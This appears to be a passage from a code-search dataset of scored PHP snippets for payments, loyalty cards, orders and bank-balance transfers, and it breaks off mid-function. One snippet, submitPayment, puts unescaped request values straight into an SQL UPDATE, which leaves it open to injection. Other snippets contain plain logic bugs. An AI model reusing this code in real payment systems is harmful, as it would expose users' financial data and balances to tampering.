=> array('value' => $helper->ss($address->getStreet(1),50)),\r\n 'line2' => array('value' => $helper->ss($address->getStreet(2),50)),\r\n 'line3' => array('value' => $helper->ss($address->getStreet(3),50)),\r\n 'city' => array('value' => $helper->ss($address->getCity(),20)),\r\n 'county'=> array('value' => $address->getRegion()),\r\n 'postcode' => array('value' => $helper->ss($address->getPostcode(),8)),\r\n 'country' => array(\r\n 'attributes' => array(\r\n 'code' => $address->getCountryId()\r\n ),\r\n 'value' => Mage::app()->getLocale()->getCountryTranslation($address->getCountryId())\r\n )\r\n );\r\n\r\n $payer['address'] = $payerAddress;\r\n $request['payer'] = $payer;\r\n\r\n $sha1hash = array(\r\n $request['attributes']['timestamp'] ,\r\n $request['merchantid']['value'],\r\n $request['orderid']['value'],\r\n '',\r\n '',\r\n $this->_payerRef\r\n );\r\n\r\n $request['sha1hash'] = array('value' => $helper->generateSha1Hash($helper->getConfigData('realex','secret'),$sha1hash));\r\n\r\n $this->_message->setData(array('request'=>$request));\r\n return $this;\r\n }", "title": "" }, { "docid": "e1d359b4f035279f85ef5a2275784b35", "score": "0.5343271", "text": "protected function performActionBuy(){\r\n\t\tif($this->requestData['buy_one_click'] == 'Y' && !isset($this->arResult['FATAL_ERROR']) && ($this->requestData['AJAX_CALL_BUY_ONE_CLICK'] == $this->ajax_id || $this->requestData['AJAX_CALL_BUY_ONE_CLICK'] == 'Y')){\r\n\t\t\t$this->addNewOrder();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "c05c9931e384eea19c8de99d92ad2c4f", "score": "0.53430605", "text": "public function postCreatetypecard(Request $request)\n {\n // var_dump($request->all());die();\n // dd($request->settings[0][0]);\n\n\n // === 1 ~ ~ LV\n // === 0 ~ ~ Chop\n\n // 1 Free\n // 2 Item\n\n // 11 Vang Bac Dong\n // 22 VVIP, VIP, Thanh Vien\n // 33 VIP , Thanh Vien\n\n // switch ( $request->choiced ) {\n // case 1:\n // $card_type = 4;\n // break;\n\n // case 0:\n // $card_type = 3;\n // break;\n \n // default:\n // $card_type = \"\";\n // break;\n // }\n\n // $cardOption = array();\n // switch ( $request->selectOption ) {\n // case '1':\n // //Đang chọn Free 1 sản phẩm ~ id optionvalue = 15\n // $cardOption['id'] = 15;\n // break;\n\n // case '2':\n // //Đang chọn discount % ~ id optionvalue = 16\n // $cardOption['id'] = 16;\n // break;\n\n // case '11':\n // //Đang chọn Vàng bạc đồng ~ id optionvalue = 10,11,12\n // $cardOption['id'] = '10,11,12';\n // break;\n\n // case '33':\n // //Đang chọn VIP , thành viên ~ id optionvalue = 13,14\n // $cardOption['id'] = '13,14';\n // break;\n \n // default:\n // $cardOption['id'] = \"\";\n // break;\n // }\n // // var_dump($cardOption);die();\n\n // //Save Type card\n // if ( $card_type != \"\" && $cardOption != null ) {\n // $result = Merchant::where( 'id', Auth::merchant()->get()->id )->update(array(\n // 'card_type' => $card_type,\n // 'card_info' => json_encode($cardOption),\n // ));\n\n // if ($result != null) {\n // return Response::json([\n // 'success' => true,\n // 'priority' => 'success',\n // 'messages' => 'Thêm tùy chọn Card thành công'\n // ]);\n // } else {\n // return Response::json([\n // 'success' => false,\n // 'priority' => 'danger',\n // 'messages' => 'Thêm tùy chọn Card thất bại'\n // ]);\n // }\n // }\n\n // var_dump($card_type);die();\n\n // $value = array();\n // $value[\"id\"] = 3;\n // $value[\"value\"] = \"15%\";\n\n // $value1 = array();\n // $value1[\"id\"] = 5;\n // $value1[\"value\"] = \"20%\";\n\n // $level3 = array();\n\n if (intval($request->settings[0][0]) == 0 ) {\n return Response::json([\n 'success' => false,\n 'priority' => 'danger',\n 'messages' => 'Thiết lập thông tin thẻ thất bại'\n ]);\n } else {\n $selectOptions = array();\n switch ( $request->selectOption ) {\n case '1':\n //Đang chọn Free 1 sản phẩm ~ id optionvalue = 15\n $selectOptions['id'] = 15;\n $selectOptions['value'] = array();\n\n $temp = array();\n $temp['id']= 15;\n $temp['value']= array();\n if (count($request->settings) > 0) {\n foreach ($request->settings as $key => $st) {\n $x = array();\n $x['point'] = intval($st[0]);\n $x['bouns'] = intval($st[1]);\n $x['unit'] = intval($st[2]);\n $x['background_color'] = '';\n $x['text_color'] = '';\n array_push($temp['value'], $x);\n }\n }\n array_push($selectOptions['value'], $temp);\n $kind = 1;\n\n break;\n\n case '2':\n //Đang chọn discount % ~ id optionvalue = 16\n\n $selectOptions['id'] = 16;\n $selectOptions['value'] = array();\n\n $temp = array();\n $temp['id']= 16;\n $temp['value']= array();\n if (count($request->settings) > 0) {\n foreach ($request->settings as $key => $st) {\n $x = array();\n $x['point'] = intval($st[0]);\n $x['bouns'] = intval($st[1]);\n $x['unit'] = $st[2];\n $x['background_color'] = '';\n $x['text_color'] = '';\n array_push($temp['value'], $x);\n }\n }\n array_push($selectOptions['value'], $temp);\n $kind = 1;\n break;\n\n case '11':\n //Đang chọn Vàng bạc đồng ~ id optionvalue = 10,11,12\n $selectOptions['id'] = 1; // vang bac dong\n $selectOptions['value'] = array();\n\n $temp =array();\n $temp['id'] = 10;\n $temp['value'] = array();\n\n $vang = array();\n $vang['point'] = intval($request->settings[0][0]) or 10000;\n $vang['bouns'] = intval($request->settings[0][1]) or 10000;\n $vang['unit'] = intval($request->settings[0][2]) or 10000;\n $vang['background_color'] = json_decode(OptionValue::find(10)->info,true)['background_color'];\n $vang['text_color'] = json_decode(OptionValue::find(10)->info,true)['text_color'];\n array_push($temp['value'], $vang);\n\n $temp1 =array();\n $temp1['id'] = 11;\n $temp1['value'] = array();\n\n $bac = array();\n $bac['point'] = intval($request->settings[1][0]) or 10000;\n $bac['bouns'] = intval($request->settings[1][1]) or 10000;\n $bac['unit'] = intval($request->settings[1][2]) or 10000;\n $bac['background_color'] = json_decode(OptionValue::find(11)->info,true)['background_color'];\n $bac['text_color'] = json_decode(OptionValue::find(11)->info,true)['text_color'];\n array_push($temp1['value'], $bac);\n\n\n $temp2 =array();\n $temp2['id'] = 12;\n $temp2['value'] = array();\n\n $dong = array();\n $dong['point'] = intval($request->settings[2][0]) or 10000;\n $dong['bouns'] = intval($request->settings[2][1]) or 10000;\n $dong['unit'] = intval($request->settings[2][2]) or 10000;\n $dong['background_color'] = json_decode(OptionValue::find(12)->info,true)['background_color'];\n $dong['text_color'] = json_decode(OptionValue::find(12)->info,true)['text_color'];\n array_push($temp2['value'], $dong);\n\n\n $temp3 =array();\n $temp3['id'] = 26;\n $temp3['value'] = array();\n\n $newbe = array();\n $newbe['point'] = 0;\n $newbe['bouns'] = 0;\n $newbe['unit'] = intval($request->settings[0][2]) or 10000;\n $newbe['background_color'] = json_decode(OptionValue::find(26)->info,true)['background_color'];\n $newbe['text_color'] = json_decode(OptionValue::find(26)->info,true)['text_color'];\n array_push($temp3['value'], $newbe);\n\n array_push($selectOptions['value'], $temp);\n array_push($selectOptions['value'], $temp1);\n array_push($selectOptions['value'], $temp2);\n array_push($selectOptions['value'], $temp3);\n $kind = 2;\n break;\n\n case '22':\n //Đang chọn VVIP, VIP, thành viên ~ id optionvalue = 23,24,25\n $selectOptions['id'] = 3; // vvip, vip, thanh vien\n $selectOptions['value'] = array();\n\n $selectOptions['value'] = array();\n\n $temp =array();\n $temp['id'] = 23;\n $temp['value'] = array();\n\n $vvip = array();\n $vvip['point'] = intval($request->settings[0][0]) or 10000;\n $vvip['bouns'] = intval($request->settings[0][1]) or 10000;\n $vvip['unit'] = intval($request->settings[0][2]) or 10000;\n $vvip['background_color'] = json_decode(OptionValue::find(23)->info,true)['background_color'];\n $vvip['text_color'] = json_decode(OptionValue::find(23)->info,true)['text_color'];\n array_push($temp['value'], $vvip);\n\n $temp1 =array();\n $temp1['id'] = 24;\n $temp1['value'] = array();\n\n $vip = array();\n $vip['point'] = intval($request->settings[1][0]) or 10000;\n $vip['bouns'] = intval($request->settings[1][1]) or 10000;\n $vip['unit'] = intval($request->settings[1][2]) or 10000;\n $vip['background_color'] = json_decode(OptionValue::find(24)->info,true)['background_color'];\n $vip['text_color'] = json_decode(OptionValue::find(24)->info,true)['text_color'];\n array_push($temp1['value'], $vip);\n\n\n $temp2 =array();\n $temp2['id'] = 25;\n $temp2['value'] = array();\n\n $thanhvien = array();\n $thanhvien['point'] = intval($request->settings[2][0]) or 10000;\n $thanhvien['bouns'] = intval($request->settings[2][1]) or 10000;\n $thanhvien['unit'] = intval($request->settings[2][2]) or 10000;\n $thanhvien['background_color'] = json_decode(OptionValue::find(25)->info,true)['background_color'];\n $thanhvien['text_color'] = json_decode(OptionValue::find(25)->info,true)['text_color'];\n array_push($temp2['value'], $thanhvien);\n\n $temp3 =array();\n $temp3['id'] = 26;\n $temp3['value'] = array();\n\n $newbe = array();\n $newbe['point'] = 0;\n $newbe['bouns'] = 0;\n $newbe['unit'] = intval($request->settings[0][2]) or 10000;\n $newbe['background_color'] = json_decode(OptionValue::find(26)->info,true)['background_color'];\n $newbe['text_color'] = json_decode(OptionValue::find(26)->info,true)['text_color'];\n array_push($temp3['value'], $newbe);\n\n array_push($selectOptions['value'], $temp);\n array_push($selectOptions['value'], $temp1);\n array_push($selectOptions['value'], $temp2);\n array_push($selectOptions['value'], $temp3);\n $kind = 2;\n break;\n\n case '33':\n //Đang chọn VIP , thành viên ~ id optionvalue = 13,14\n $selectOptions['id'] = 2; // vip, thanh vien\n $selectOptions['value'] = array();\n\n $temp =array();\n $temp['id'] = 13;\n $temp['value'] = array();\n\n\n $vip = array();\n $vip['point'] = intval($request->settings[0][0]) or 10000;\n $vip['bouns'] = intval($request->settings[0][1]) or 10000;\n $vip['unit'] = intval($request->settings[0][2]) or 10000;\n $vip['background_color'] = json_decode(OptionValue::find(13)->info,true)['background_color'];\n $vip['text_color'] = json_decode(OptionValue::find(13)->info,true)['text_color'];\n array_push($temp['value'], $vip);\n\n\n $temp1 =array();\n $temp1['id'] = 14;\n $temp1['value'] = array();\n\n $member = array();\n $member['point'] = intval($request->settings[1][0]) or 10000;\n $member['bouns'] = intval($request->settings[1][1]) or 10000;\n $member['unit'] = intval($request->settings[1][2]) or 10000;\n $member['background_color'] = json_decode(OptionValue::find(14)->info,true)['background_color'];\n $member['text_color'] = json_decode(OptionValue::find(14)->info,true)['text_color'];\n array_push($temp1['value'], $member);\n\n $temp3 =array();\n $temp3['id'] = 26;\n $temp3['value'] = array();\n\n $newbe = array();\n $newbe['point'] = 0;\n $newbe['bouns'] = 0;\n $newbe['unit'] = intval($request->settings[0][2]) or 10000;\n $newbe['background_color'] = json_decode(OptionValue::find(26)->info,true)['background_color'];\n $newbe['text_color'] = json_decode(OptionValue::find(26)->info,true)['text_color'];\n array_push($temp3['value'], $newbe);\n\n array_push($selectOptions['value'], $temp);\n array_push($selectOptions['value'], $temp1);\n array_push($selectOptions['value'], $temp3);\n $kind = 2;\n break;\n \n default:\n # code...\n break;\n }\n\n $choiced = array();\n\n switch ( $request->choiced ) {\n case 1:\n $card_type = 4;\n break;\n\n case 0:\n $card_type = 3;\n break;\n \n default:\n $card_type = \"\";\n break;\n }\n\n\n //Save Type card\n if ( $card_type != \"\" ) {\n $result = Merchant::where( 'id', Auth::merchant()->get()->id )->update(array(\n 'card_type' => $card_type,\n 'card_info' => json_encode($selectOptions),\n 'kind' => $kind\n ));\n\n if ($result != null) {\n return Response::json([\n 'success' => true,\n 'priority' => 'success',\n 'messages' => 'Thiết lập thông tin thẻ thành công'\n ]);\n } else {\n return Response::json([\n 'success' => false,\n 'priority' => 'danger',\n 'messages' => 'Thiết lập thông tin thẻ thất bại'\n ]);\n }\n } else {\n return Response::json([\n 'success' => false,\n 'priority' => 'danger',\n 'messages' => 'Bạn chưa cấu hình thẻ của hình. Vui lòng quay lại bước 2 tạo thông tin thẻ trước khi hoàn thành'\n ]);\n }\n \n }\n\n \n\n }", "title": "" }, { "docid": "c57d89492d488a903577be8ac69caeaa", "score": "0.5339028", "text": "public function swedbank_card_store() {\n\t\ttry {\n\t\t\t$payment_id = WC()->session->get( 'verification_payment_id' );\n\n\t\t\tif ( ! $payment_id ) {\n\t\t\t\tthrow new Exception( __( 'There was a problem adding the card.', 'swedbank-pay-woocommerce-payments' ) );\n\t\t\t}\n\n\t\t\t$list = $this->core->fetchVerificationList( $payment_id );\n\t\t\tif ( isset( $list[0] ) &&\n\t\t\t\t( ! empty( $list[0]['paymentToken'] ) || ! empty( $list[0]['recurrenceToken'] ) )\n\t\t\t) {\n\t\t\t\t$verification = $list[0];\n\t\t\t\t$payment_token = isset( $verification['paymentToken'] ) ? $verification['paymentToken'] : '';\n\t\t\t\t$recurrence_token = isset( $verification['recurrenceToken'] ) ? $verification['recurrenceToken'] : '';\n\t\t\t\t$card_brand = $verification['cardBrand'];\n\t\t\t\t$masked_pan = $verification['maskedPan'];\n\t\t\t\t$expiry_date = explode( '/', $verification['expiryDate'] );\n\n\t\t\t\t// Create Payment Token\n\t\t\t\t$token = new WC_Payment_Token_Swedbank_Pay();\n\t\t\t\t$token->set_gateway_id( $this->id );\n\t\t\t\t$token->set_token( $payment_token );\n\t\t\t\t$token->set_recurrence_token( $recurrence_token );\n\t\t\t\t$token->set_last4( substr( $masked_pan, - 4 ) );\n\t\t\t\t$token->set_expiry_year( $expiry_date[1] );\n\t\t\t\t$token->set_expiry_month( $expiry_date[0] );\n\t\t\t\t$token->set_card_type( strtolower( $card_brand ) );\n\t\t\t\t$token->set_user_id( get_current_user_id() );\n\t\t\t\t$token->set_masked_pan( $masked_pan );\n\n\t\t\t\t// Save Credit Card\n\t\t\t\t$token->save();\n\t\t\t\tif ( ! $token->get_id() ) {\n\t\t\t\t\tthrow new Exception( __( 'There was a problem adding the card.', 'swedbank-pay-woocommerce-payments' ) );\n\t\t\t\t}\n\n\t\t\t\tWC()->session->__unset( 'verification_payment_id' );\n\n\t\t\t\twc_add_notice( __( 'Payment method successfully added.', 'swedbank-pay-woocommerce-payments' ) );\n\t\t\t\twp_redirect( wc_get_account_endpoint_url( 'payment-methods' ) );\n\t\t\t\texit();\n\t\t\t}\n\t\t} catch ( Exception $e ) {\n\t\t\twc_add_notice( $e->getMessage(), 'error' );\n\t\t\twp_redirect( wc_get_account_endpoint_url( 'add-payment-method' ) );\n\t\t\texit();\n\t\t}\n\t}", "title": "" }, { "docid": "686ef8e5b3a16aa3fa09e344471d77b8", "score": "0.5336625", "text": "public function doMake(Request $request){\n $customer_id = null;\n $non_ervill = Inventory::find(6);\n \n\n if($request->additional_price){\n $this->validate($request, [\n 'additional_price' => 'required|integer'\n ]);\n }\n\n if(!$request->phone){\n if($request->phone != '0'){\n $request->phone = '0000';\n $request['phone'] = '0000';\n }\n }\n else if(!$request->aqua_qty || $request->aqua_qty < 1){\n if($request->aqua_qty != '0'){\n $request->aqua_qty = 0;\n $request['aqua_qty'] = 0;\n }\n }\n else if(!$request->non_aqua_qty || $request->non_aqua_qty < 1){\n if($request->non_aqua_qty != '0'){\n $request->non_aqua_qty = 0;\n $request['non_aqua_qty'] = 0;\n }\n }\n \n\n $total_qty = $request->aqua_qty + $request->non_aqua_qty;\n\n if($request->new_customer){\n // If new customer //\n if($non_ervill->quantity < $total_qty ){\n return back()\n ->withErrors(['message' => 'Stock galon non ervill di gudang tidak cukup untuk melakukan order']);\n }\n else if($total_qty < 1){\n return back()\n ->withErrors(['message' => 'Anda harus mengisi minimal 1 transaksi']);\n }\n $this->validate($request, [\n 'name' => 'required|string',\n 'phone' => 'required|string|digits_between:3,14',\n 'address' => 'required|string',\n 'delivery_at' => 'required|date'\n ]);\n }\n else{\n // If existing customer // \n\n if($total_qty < 1){\n return back()\n ->withErrors(['message' => 'Anda harus mengisi minimal 1 transaksi']);\n }\n else if($non_ervill->quantity < $total_qty ){\n return back()\n ->withErrors(['message' => 'Stock air di gudang tidak cukup untuk melakukan order']);\n }\n $this->validate($request, [\n 'customer_id' => 'required|integer|exists:customers,id',\n 'delivery_at' => 'required|date'\n ]);\n }\n\n if(!(new NeHeaderInvoice())->doMake($request, auth()->id())){\n return back()\n ->withErrors(['message' => 'Input data salah, harap hubungi admin']);\n }\n\n return back()\n ->with('success', 'Data telah berhasil dibuat');\n }", "title": "" }, { "docid": "a53e15742b237a2bd4480b0dd4bada35", "score": "0.5336374", "text": "function submitPayment($id ,$mode , $ref , $caretaker , $amount ){\n $timeStamp = date(\"Y-m-d h:m:s\");\n $today =date(\"Y-m-d\") ;\n $token = $this->getPaymentToken($id) ; \n $id = mysqli_real_escape_string($this->connection , $id); \n $query = \"UPDATE booking_pay set booking_pay_mode='{$mode}' , \n booking_pay_mode_ref='{$ref}' ,booking_pay_submitted_on='{$timeStamp}' ,\n booking_pay_submit_date='{$today}' , booking_pay_is_paid='1' , booking_pay_status='2' , \n booking_pay_token='{$token}' WHERE booking_pay_id='{$id}'\" ;\n // echo $query; \n $res = mysqli_query($this->connection , $query) ; \n $this->createUnsettledPayments($token ,$amount , $id , $caretaker);\n return $res ; \n }", "title": "" }, { "docid": "bca435fc6ef3660247c48ecde4a14ffe", "score": "0.53239286", "text": "public function bidding_products_buy_post()\n\t{\n\t\t$data = (array) json_decode(file_get_contents('php://input'), TRUE);\n\n\t\t$bidding_products_buy = $this->Sell_buy_model->bidding_products_buy($data);\n\n\t\t//echo \"<pre>\";print_r($barcode_history);die;\n\t\tif($bidding_products_buy != '0')\n\t\t {\t\t\t\t\t\n\t\t\t\t$this->response(array('Status'=>true,'Response'=>$bidding_products_winner,\"code\" => 1));\t\t\t\t \t\t\n\t\t\t \n\t\t }\n\t\t else \n\t\t {\n\t\t\t $this->response(array('Status'=>false,'Response'=>'Please Try Again',\"code\" => 0));\n\t\t\t \n\t\t }\n\t\t\n\t}", "title": "" }, { "docid": "acb642c0198a5ced8861f0e5c993e19a", "score": "0.5321852", "text": "public function newrequest(Request $request) {\n // We are normally supposed to call a 3rd Party application to register details.\n\n // Create a new object in the DB.\n $card = new Cards();\n\n $card->assignedto = 0;\n $card->ownerid = Auth::id();\n $card->status = 'Processing Request';\n $card->valid_until = Carbon::today()->addMonths(2);\n $card->cardnos = 'CARD-' . Auth::id() . Carbon::now();\n \n // Save the new card request to the DB.\n $card->save();\n\n return redirect()->action('CardsController@index');\n }", "title": "" }, { "docid": "2b14d19f24855052887e4ef979de3ddc", "score": "0.53202087", "text": "function BuyBTC($amount,$price)\r\n{\r\n return mtgox_query('0/buyBTC.php', array('amount' => $amount, 'price' => $price));\r\n}", "title": "" }, { "docid": "1e7cd89128ee68fa66eb3358364fe561", "score": "0.5316125", "text": "function moneyDistribution($money, $source_id, $destin_id, $payment_type, $amount, $pdo_bank, $pdo) {\n $credit_card=$source_id;\n\t\t//buying item\n if($payment_type==0) {\t\n\t\t\t//decrement the quantity of item bought from items table\n\t\t\t\t$stmt = $pdo->prepare(\"UPDATE items SET quantity=quantity-:item_quantity WHERE item_id=:itemId\");\n $stmt->execute([\"itemId\" => $destin_id, \"item_quantity\"=>$amount]);\n\t\t\t//increment sell count by amount of item bought\n\t\t\t\t$item_quantity = $amount;\n\t\t\t\t$stmt = $pdo->prepare(\"UPDATE items SET sell_count=sell_count+:item_quantity WHERE item_id=:itemId\");\n $stmt->execute([\"itemId\" => $destin_id, \"item_quantity\"=>$amount]);\n //debt buyer\n //get buyer's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from buyer using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n //credit shola\n //calculate shola's cut from given money, shola cut is 2%\n $shola_cut = sholaCut($money, $pdo);\n $money=$money-$shola_cut;\n //get shola account number\n\t\t\t\t$shola_account_number=sholaAccount(0, $pdo);\n //add into shola's account an amount of money that is shola_cut from above and using shola_account_number\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $shola_cut,\"account_number\"=>$shola_account_number]);\n //credit seller\n //get seller user_id, and item's price\n $stmt = $pdo->prepare(\"SELECT price, uploader_id from items where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $price = $stmt->fetchAll();\n //get credit_card_number for seller using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$price[0][\"uploader_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for seller using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to seller's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $price[0][\"price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\n //credit shipper\n\t\t\t //get shipper user_id, and shipping price\n $stmt = $pdo->prepare(\"SELECT shipping_price, user_id from shipping where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $ship = $stmt->fetchAll();\n\t\t\t if($ship != null){\n //get credit_card_number for shipper using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$ship[0][\"user_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for shipper using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to shipper's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $ship[0][\"shipping_price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\t\t\t\n\t\t\t }\n\n }\n //advertising\n elseif ($payment_type==1){\n //debt seller\n //get seller's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from seller account using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n \n //cerdit shola\n //get shola account number\n $shola_account_number=sholaAccount(0, $pdo);\n //add into shola account the money debted from seller account\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$shola_account_number]);\n }\n //auction entrance\n elseif ($payment_type==2){\n //debt bidder\n //get bidder's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from bidder account using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n\n //cerdit shola\n //get shola account number\n $shola_temporary_account_number=sholaAccount(1, $pdo);\n //add into shola account the money debted from bidder account\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$shola_temporary_account_number]);\n }\n //auction victory\n elseif ($payment_type==3){\n //debt bidder\n //subtracting entrance fee from total item price\n $entrance_fee=100;\n $money=$money-$entrance_fee;\n //get bidder's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from bidder using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n //credit shola\n //calculate shola's cut from given money, shola cut is 2%\n $shola_cut=sholaCut($money, $pdo);\n $money=$money-$shola_cut;\n //get shola account number\n $shola_account_number=sholaAccount(0, $pdo);\n //add into shola's account an amount of money that is shola_cut from above and using shola_account_number\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $shola_cut,\"account_number\"=>$shola_account_number]);\n //credit seller\n //get seller user_id, and item's price\n $stmt = $pdo->prepare(\"SELECT price, uploader_id from items where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $price = $stmt->fetchAll();\n //get credit_card_number for seller using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$price[0][\"uploader_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for seller using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to seller's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $price[0][\"price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\n //credit shipper\n\t\t\t //get shipper user_id, and shipping price\n $stmt = $pdo->prepare(\"SELECT shipping_price, user_id from shipping where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $ship = $stmt->fetchAll();\n\t\t\t if($ship != null){\n //get credit_card_number for shipper using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$ship[0][\"user_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for shipper using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //add to shipper's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $ship[0][\"shipping_price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\n\t\t\t }\n }\n //automatic auction entrance\n elseif ($payment_type==4){\n //debt bidder\n //get bidder's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $data = $stmt->fetchAll();\n //subtract money from bidder account using money as a given parameter and account_number from above \n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$data[0][\"account_number\"]]);\n\n //cerdit shola\n //get shola account number\n $shola_temporary_account_number=sholaAccount(1, $pdo);\n //add into shola account the money debted from bidder account\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$shola_temporary_account_number]);\n }\n //refund(return item)\n elseif($payment_type==5){\n //credit buyer\n //get buyer's account number using credit_card from given parameter\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card]);\n $buyer_account = $stmt->fetchAll();\n //add money into buyer's account using account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance+:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$buyer_account[0][\"account_number\"]]);\n\n //debt seller\n //get seller user_id, and item's price\n $stmt = $pdo->prepare(\"SELECT price, uploader_id from items where item_id=:item_id\");\n $stmt->execute([\"item_id\"=>$destin_id]);\n $price = $stmt->fetchAll();\n //get credit_card_number for seller using user_id from above\n $stmt = $pdo->prepare(\"SELECT credit_card_number from credit_card_history where user_id=:user_id\");\n $stmt->execute([\"user_id\"=>$price[0][\"uploader_id\"]]);\n $credit_card_number = $stmt->fetchAll();\n //get account_number for seller using credit_card_number from above\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where credit_card_number=:cred\");\n $stmt->execute([\"cred\"=>$credit_card_number[0][\"credit_card_number\"]]);\n $account_number = $stmt->fetchAll();\n //subtract from seller's balance an amount of money using price from above as amount of money and account_number from above\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $price[0][\"price\"], \"account_number\"=>$account_number[0][\"account_number\"]]);\n $money=$money-$price;\n //debt shola\n //get shola account number\n $shola_account_number=sholaAccount(0, $pdo);\n //subtract from shola account the money credited for buyer account\n $stmt = $pdo_bank->prepare(\"UPDATE bank_account SET balance=balance-:money WHERE account_number=:account_number\");\n $stmt->execute([\"money\" => $money, \"account_number\"=>$shola_account_number]);\n\t\t}\n\t\t//if it is split payment\n\t\telseif($payment_type==6){\n\t\t\t//debt buyer\n //get buyer's account_number using credit_card_number in the input\n $stmt = $pdo_bank->prepare(\"SELECT account_number from credit_card where 